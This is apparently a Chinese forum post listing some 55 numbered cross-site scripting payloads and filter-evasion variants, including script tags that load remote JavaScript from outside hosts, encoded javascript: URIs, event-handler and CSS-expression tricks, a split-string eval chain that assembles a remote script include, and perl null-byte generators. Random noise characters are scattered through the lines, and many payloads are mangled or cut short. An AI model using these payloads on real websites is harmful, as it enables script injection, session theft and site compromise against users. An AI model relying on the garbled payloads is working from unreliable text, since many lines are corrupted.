(1)普通的XSS JavaScript注入
4 T4 k; a |- L, [. z: N- v<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
U# k. \+ R3 C2 {(99)另类弹框
, c8 s% x. W% M" H5 f6 m<q/oncut=alert()>1
9 Y: F+ A2 e/ C6 }- N* a<s/onclick=alert()>b
2 l* ^3 Y8 F) g! {' W) x9 W# {8 ~7 K <XSS=" onclick="alert(1)//">clickme</SSX=">: l1 I; e/ n; |- \! E7 X
<zzz onclick=alert`1`>clickme</zzz> 6 f6 p4 r9 d) P. q, w
<a onclick=alert`1`>clickme</a>
( x; r; r/ l6 ~4 n<a=">clickme</a=">& P+ R. h; Q1 T7 V. N3 N1 h: S5 V
<a=">clickme</a>
- F$ L) r9 n, a* f: h) C6 u<z=">clickme</z=">
; u+ K0 e) c6 f) C5 F<z onclick=alert`1`>clickme</z>1 M: Z/ }+ R4 t6 I9 S T. V
; V. n# T, p" ^5 I& V
(2)IMG标签XSS使用JavaScript命令! g; Q; Z* W# t; \8 J( h+ P! a; y# f
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>3 H/ [* O7 ]# L+ H/ r
3 R, j+ F5 n( w6 j4 Z' I
(3)IMG标签无分号无引号
' y5 V6 ?1 V$ j* n$ Q, N<IMG SRC=javascript:alert(‘XSS’)>
# a& t8 b8 M' d0 O
v! e- f, y* E3 T* F(4)IMG标签大小写不敏感( }" N0 Z% d0 k% d, ^
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>" |& _! z% w4 z) c
& O$ D" F/ ]; _7 j1 y; D' e9 I4 @
(5)HTML编码(必须有分号)
7 Q2 b. \: J( A/ [2 i* a<IMG SRC=javascript:alert(“XSS”)>+ g# |. D4 P9 `) ~% b+ `
- @ V& Y' K9 D
(6)修正缺陷IMG标签
! k' ], g8 t. ~<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>( ~' w5 Z( X% K4 z& S. ], l
2 ^! E7 l' s% Z' ~- B& K7 ^2 l
(7)formCharCode标签(计算器)
% p: e* h$ H/ x% E, ?<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
# _, U; C' l8 ]" p, g5 ?5 e8 y
d5 p0 @0 Z6 P; ~: g7 M(8)UTF-8的Unicode编码(计算器)
H/ z9 o! p e9 f* g v# l8 ~( T<IMG SRC=jav..省略..S')>$ ? W0 ?7 I9 w1 b) N& u6 b; g
& ~8 a( ]8 x! x( X5 A; a(9)7位的UTF-8的Unicode编码是没有分号的(计算器)$ k% d( J# N1 ~5 l
<IMG SRC=jav..省略..S')>
3 J2 E% v$ w0 m7 h5 N% e
- u; y7 \$ i# s8 q+ s(10)十六进制编码也是没有分号(计算器)
) h5 Y1 q. f) P G, S<IMG SRC=\'#\'" /span>7 G* G+ W9 o# T5 G7 @; v
6 Q) o. f7 T. f. s7 N# [# T# q
(11)嵌入式标签,将Javascript分开
' n" c+ Z1 F. e1 ~! w<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>0 M0 H c2 T( h7 @# S
( g* y" e0 n: w7 [(12)嵌入式编码标签,将Javascript分开
- o! U$ `, z9 G/ r% ?<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
7 N" Y( l4 z( |* h* J4 k! V# d) m5 j. ]- J# O9 M2 p
(13)嵌入式换行符
$ h* J0 i: k' A, z% _<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
* q r* }7 ?6 P+ M# W6 b7 S6 Y0 [/ ~; f5 {3 b* o
(14)嵌入式回车; W( o$ q' `9 v$ [1 U
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
5 ?2 [7 G4 P3 I. W' t' d* q& O$ H% ~, c- ^. j
(15)嵌入式多行注入JavaScript,这是XSS极端的例子/ _) c3 h5 c' {' a
<IMG SRC=\'#\'" /span>" P/ \& C. r+ f0 P; t& k
2 p9 m! X3 y) \( S4 M. s; p
(16)解决限制字符(要求同页面)* M- }8 ~; F3 _% _; y H
<script>z=’document.’</script>) M, }4 g& A0 d+ k) o
<script>z=z+’write(“‘</script>% a+ i2 m& E9 l
<script>z=z+’<script’</script>
# N2 Y4 i0 ?9 C$ E6 G$ `( O<script>z=z+’ src=ht’</script> |0 }% {. X& O' ?/ s! d$ B- V
<script>z=z+’tp://ww’</script>
* D0 }/ t$ A- l5 ]( s4 z2 f<script>z=z+’w.shell’</script>* g& }* p2 t. |; Q* B2 ^
<script>z=z+’.net/1.’</script>
" |6 v# _0 w& d3 q2 k4 Z7 Q# |6 X, K<script>z=z+’js></sc’</script>
0 D/ X# K( O7 ~8 S X<script>z=z+’ript>”)’</script>$ D" U4 A# P! q7 W2 g0 U9 U9 [
<script>eval_r(z)</script>
! b5 k! z, d. F- G. u3 o4 R: R, F5 Z* L E5 _/ z3 M
(17)空字符& M' ^$ s W& X. q6 ~: K9 v
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
/ i H4 A4 ]* h, G& I5 T
5 t& S- b& O0 X5 k f(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用5 g1 F' t3 D2 N
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out& A3 a! n k4 }: C
3 x$ U9 f4 M" ~3 t; c
(19)Spaces和meta前的IMG标签2 G6 v% S; _& J0 ~5 Z
<IMG SRC=\'#\'" javascript:alert(‘XSS’);”>
% b( C2 q# O- }2 I8 S x
2 u+ u% a% i) a+ [2 M1 }(20)Non-alpha-non-digit XSS' e" a; o/ w# @) ~9 W9 A8 D7 \" M
<SCRIPT/XSS SRC=\'#\'" /span>http://3w.org/XSS/xss.js”></SCRIPT>( V6 d" j, T% b7 C: ] C
. q- G- z: H7 V! O! s(21)Non-alpha-non-digit XSS to 2
! \' m0 Q0 w2 z& `" ^5 v7 u<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>- ~6 @* Q9 n, B9 |
; O4 { ~( F% ?0 i
(22)Non-alpha-non-digit XSS to 3 I7 C8 \% W: T$ O( q
<SCRIPT/SRC=\'#\'" /span>http://3w.org/XSS/xss.js”></SCRIPT>
0 S1 L, Z9 l- j" R5 s4 Z0 L l
(23)双开括号
. B) O- Y4 m+ I% [8 o, z<<SCRIPT>alert(“XSS”);//<</SCRIPT>) R9 V5 k! b7 o, h3 x1 ]
- {$ i, v- `" y
(24)无结束脚本标记(仅火狐等浏览器)0 ?( `, {3 e2 o, v( E2 B0 p
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
! u+ f. C ?8 F7 l$ C5 R) y3 t# V$ H% I2 s8 }& o
(25)无结束脚本标记2" `. t& W+ [. s) l+ `. O/ Q
<SCRIPT SRC=//3w.org/XSS/xss.js>3 @$ _7 |8 @- K8 K) \
4 z6 ^. R6 Q0 h# Q! N7 a(26)半开的HTML/JavaScript XSS
% c5 C/ T$ P3 x2 @2 s6 A! \" J<IMG SRC=\'#\'" /span>- N' x: y$ Z) m3 T; B' ~
! u# t, I2 G* P! u6 ?(27)双开角括号
! c$ Z1 {2 A: u! B, w2 ~<iframe src=http://3w.org/XSS.html <
8 o- M0 U; ]* a
3 A, Z! v8 h) m/ J1 I+ J(28)无单引号 双引号 分号. j+ M$ x* ]' Y e0 }9 G. M
<SCRIPT>a=/XSS/9 e& e' D# {9 I$ ?7 }- u
alert(a.source)</SCRIPT>* x q5 P$ z$ w) a: ~5 L
z. N5 W7 M/ e4 O, [(29)换码过滤的JavaScript
, G) J% f9 D1 X- E$ a4 G: I\”;alert(‘XSS’);//7 J, \7 B I- L/ m. P7 {( ^8 g
! E8 V, r; B$ h; U& A2 Y& }7 R
(30)结束Title标签
& \5 V- ]8 k" t) x% \6 o2 |, d</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
5 M' S& u1 |0 a) n" w: q; s1 W5 `+ R9 j
(31)Input Image) O% L* [; k7 M Z$ `, u: |
<INPUT SRC=\'#\'" /span>9 C- l$ y/ @; ~* E, J. f; L
8 F0 P+ h& C" k1 p/ H& j0 b4 J(32)BODY Image9 T, F) x! d! i* g% m
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>' S2 R! q% d3 O7 T2 T8 s. F- o
5 c# |: @9 b& i6 l3 T(33)BODY标签
6 O6 R. Z! _# `8 U2 z<BODY(‘XSS’)>& c6 u+ u4 ^$ d
+ u: {! Z) m$ F5 @6 E- Z6 Z: g(34)IMG Dynsrc
) {7 c, `+ `# ^5 L0 q9 T<IMG DYNSRC=\'#\'" /span>
" y4 g8 m, V8 u& H0 o J) d% K+ X
(35)IMG Lowsrc/ ~* u- F+ l" a7 P& ~( ~
<IMG LOWSRC=\'#\'" /span>+ r3 ^, s7 Z) _5 a- \/ u
6 v# |. B6 T% ^9 b' g
(36)BGSOUND: J P7 k; P8 G: ^2 L8 [3 o
<BGSOUND SRC=\'#\'" /span>
+ @- `; X+ e% f6 w3 M- R0 ~) Q1 a: N" Z4 B# o
(37)STYLE sheet
$ Y& y# {: W: ?* O9 A0 X<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
, t9 Y% x! m9 M$ m& v4 j0 G( J- [: a; w/ f
(38)远程样式表* F6 F8 j! Q7 Q5 c+ y2 c, U2 S
<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>* Q* V. C0 O0 o
" m8 M4 N; m& l9 w$ k" _
(39)List-style-image(列表式)8 ~, M8 V- b& `' x- p
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
& L" W1 \4 ]2 }1 \0 |/ A+ r H
8 U: x( _7 x, d( v W. r9 Y5 x(40)IMG VBscript
! I# ]- Z8 @/ H<IMG SRC=\'#\'" /STYLE><UL><LI>XSS7 T y' W" G# k5 ~( K! ?: _
4 _8 J7 T: Y, B2 v/ d(41)META链接url
5 H2 e w# a2 c+ Y! I) n, P<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>
6 P0 u1 z' S& a, p2 @. b. ~! m/ m7 D* m9 J7 I$ H3 p- o
(42)Iframe
+ b* p* [, M8 f<IFRAME SRC=\'#\'" /IFRAME>
% c5 {% k! g! M9 d4 w8 }& U# ]
: r2 c7 O3 F( Y! y' d- K$ o(43)Frame# D# L/ m( x# x: @8 T! w" O
<FRAMESET><FRAME SRC=\'#\'" /FRAMESET>
4 a2 S1 J2 V) q; ~
4 f0 S& R/ {1 @- p(44)Table
5 A3 E2 M$ w( f# ^% e# n% i4 M' L<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
: W) [0 E+ u# @. C2 v* F
& x7 D- \5 e, |3 ~; k; N(45)TD
/ i! E! F$ G8 p<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”># |; N8 x/ L+ k5 P( X0 N
7 _! U" B. Z4 g; M
(46)DIV background-image. o! I3 ^, o1 ]
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>) C$ X9 O, q* Z3 z; E( Y( C
* |) j# N, [* }, {8 _1 K7 _0 ?
(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
; |; c. ^2 Y) e4 W) t<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
. {- j7 N% V/ p
+ o* w8 {' \- Q) o8 n) }( m) Y(48)DIV expression! n8 j& [9 c4 t& U9 g5 C
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>4 j8 [7 w5 ^0 f) u& Q$ q0 ?4 Q
2 J1 f& Z+ o% [- I(49)STYLE属性分拆表达
& V$ i' y2 X/ h8 f7 P' X4 f7 c<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>; z: K% X/ f+ v2 E+ ~
3 d. r$ x! t/ T5 _
(50)匿名STYLE(组成:开角号和一个字母开头)/ j- s% k1 V2 ~2 I
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>0 V7 E" @: i- Y6 X. c% h0 E
; m" p1 m, y7 H% v; `(51)STYLE background-image' s8 l+ e0 y2 Q% _2 \8 |' b* D1 O
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>
( @) F) G* ?/ M p; |! P9 H
2 o2 S0 `* r9 k) J2 i1 X9 T4 d(52)IMG STYLE方式/ h3 Q9 D: S' U9 c" l
exppression(alert(“XSS”))’>
& h& Q& H/ q: }$ S
* D% a, a3 b W" N+ L. k0 B( B, Y(53)STYLE background
* n q4 M7 N1 V r' `7 L<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>: I- u; l9 H! P, H1 ~6 r
! m" y5 _* O& t3 N1 }( N+ C
(54)BASE
( q# m5 N1 g$ R<BASE HREF=”javascript:alert(‘XSS’);//”>- F$ u7 f" q$ [0 j( g/ I; F
* O5 j$ E6 q5 G6 m8 s$ m V" q% g2 E(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS# h- q# \. E( T2 q6 w
<EMBED SRC=\'#\'" /span>http://3w.org/XSS/xss.swf” ></EMBED>
& ?0 s6 H3 |$ @8 W |
发表于 2016-4-28 10:06:15
收藏
支持
反对